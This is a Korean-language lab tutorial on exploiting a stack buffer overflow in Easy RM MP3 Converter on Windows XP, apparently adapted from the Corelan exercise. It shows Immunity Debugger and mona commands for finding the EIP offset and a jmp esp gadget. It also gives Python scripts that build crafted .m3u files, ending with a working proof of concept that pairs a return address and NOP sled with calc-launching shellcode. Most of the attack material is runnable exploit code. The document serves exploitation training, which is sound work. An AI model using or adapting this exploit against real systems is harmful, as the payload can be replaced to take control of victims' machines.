Easy-RM-MP3-Converter_xp

Easy RM MP3 Converter Buffer Overflow (XP)

개요

Corelan Team의 버퍼 오버플로우 튜토리얼 프로그램으로 유명한 Easy RM MP3 Converter의 버퍼 오버플로우를 진행해보자.

목적

• 윈도우즈 환경 버퍼 오버플로우 취약점 수행 과정 파악

목표

• immunity 디버거 기본 사용법 숙지
• 기초적인 mona 플러그인 활용 방법 숙지
• 윈도우즈 XP 환경 스택 버퍼 오버플로우 수행 과정 이해

내용

실습은 대상 프로그램에서 크래시가 발생된다는 것을 파악한 상태에서 시작한다. 입력 값 저장 위치에서 EIP까지의 오프셋 값을 파악하기 위해서 mona 플러그인으로 패턴을 생성한다.

mona 플러그인을 이용한 패턴 생성

!mona pc 30000

mona 플러그인 최대 패턴 수: 20280

mona 플러그인으로 생성한 패턴을 프로그램에 전달하여 크래시가 발생된 시점에 EIP에 삽입된 패턴을 확인하면 EIP를 덮어쓰기 위해 얼마만큼의 데이터를 입력될지 파악할 수 있다. 파악한 오프셋 값이 정상 동작되지 않을 때는 최대 패턴 수를 더해서 사용한다. (최대 패턴 수를 순회하여 패턴이 생성된다.)

크래시 유발 m3u 파일 생성

패턴 파일을 열어 ASCII 데이터를 제외한 모든 값을 제거한다. 그리고 생성한 패턴을 읽어와 m3u 파일을 생성하는 파이썬 스크립트를 작성하여 실행한다.

pattern_reader = open("pattern.txt", 'r')
crash_creater = open("01_crash.m3u", 'w')
crash_creater.write(pattern_reader.read())

pattern_reader.close()
crash_creater.close()

크래시 테스트

스크립트로 생성한 m3u파일을 불러와 EIP에 삽입된 패턴을 확인 후 mona 플러그인을 이용하여 오프셋 값을 파악한다.

• EIP에 삽입된 패턴: 356b4834

!mona po 356b4834

EIP 오프셋: 26054(20280 + 5774)

EIP 위치 확인

파악된 EIP 오프셋 값을 확인하기 위해서 EIP 위치에 \x42\x42\x42\x42를 삽입하는 m3u 파일을 생성하는 파이썬 스크립트를 작성하여 실행한다.

junk = 'A'*(20280+5774)
eip = 'B'*4

eip_checker = open("02_eip_checker.m3u", 'w')
eip_checker.write(junk+eip)
eip_checker.close()

정상적으로 \x42\x42\x42\x42가 삽입된 것을 확인하였다며 쉘 코드를 실행할 준비를 시작한다.

쉘 코드 실행을 위한 준비

XP에서는 메모리 주소 재배치가 발생되지 않으므로 쉘 코드 삽입 후 삽입 위치를 EIP에 덮어씀으로써 쉘 코드 실행이 가능하다. 하지만 주소 값에 00이 존재하여(00ffxx 형식) 해당 방식으로 진행이 불가하다. 따라서 프로그램 내 존재하는 활용 가능한 코드 조각을 찾아서 활용하여 쉘 코드를 실행해야 한다.

• 찾아서 활용할 코드 조각: jmp esp

!mona mod
!mona findwild -s jmp esp

검색된 코드 조각 중 보호 기법이 적용되지 않는 모듈의 코드를 분류하여 사용한다. (윈도우즈 XP 환경에서는 어느 것을 사용해도 무방하다.)

계산기 실행 POC m3u 파일 생성 및 실행

계산기를 실행하는 쉘코드를 수행하는 m3u 파일을 생성하는 파이썬 스크립트 작성 후 실행한다.

POC code

shell = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+"\x7f\xe8\x7b\xca"

junk = 'A'*(20280+5774)
eip = '\x77\x9c\x9e\x76' 
nop = '\x90'*100
shell_inserter = open("03_insert_shell.m3u", 'w')
shell_inserter.write(junk+eip+nop+shell)
shell_inserter.close()

EIP 도달을 위한 값	코드 조각	더미	계산기 실행 코드
AAA …	&(jmp esp)	nop	shell code

계산기 실행에 성공하는 것을 확인할 수 있다.